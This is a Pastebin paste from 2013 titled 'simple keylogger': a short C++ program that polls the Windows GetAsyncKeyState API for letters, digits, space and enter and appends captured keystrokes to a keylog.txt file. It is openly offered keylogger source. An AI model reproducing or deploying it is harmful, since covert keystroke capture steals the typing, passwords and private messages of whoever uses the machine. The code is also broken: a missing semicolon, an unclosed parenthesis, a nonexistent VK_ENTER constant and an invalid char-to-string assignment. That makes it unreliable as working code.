rijads

simple keylogger

Dec 17th, 2013
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.88 KB | None | 0 0
  1. #include <fstream>
  2. #include <string>
  3. #include <windows.h>
  4.  
  5. using namespace std;
  6.  
  7. ofstream out;
  8. string buffer;
  9. int counter
  10. void keylist(char key);
  11.  
  12. int main()
  13. {
  14.    char chType[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
  15.    while(1==1)
  16.    {
  17.       for (int i=0; i<36; i++)
  18.          keylist(chType[i];
  19.  
  20.       if(GetAsyncKeyState(VK_SPACE))
  21.       {
  22.          buffer.append(" ");
  23.          counter++;
  24.       }
  25.          
  26.       if(GetAsyncKeyState(VK_ENTER))
  27.       {
  28.          buffer.append("\n");
  29.          counter ++;
  30.       }
  31.       if(counter==15)
  32.       {
  33.          out.open("keylog.txt", ios::app);
  34.          out << buffer;
  35.          buffer = "";
  36.          out.close();
  37.          counter=0;
  38.       }
  39.       Sleep(100);
  40.    
  41.    }
  42. }
  43. void keylist(char key)
  44. {
  45.    if(GetAsyncKeyState(key))
  46.    {
  47.       string skey = key;
  48.       buffer.append(skey);
  49.       counter++;
  50.      
  51.    }
  52. }
Advertisement
Add Comment
Please, Sign In to add comment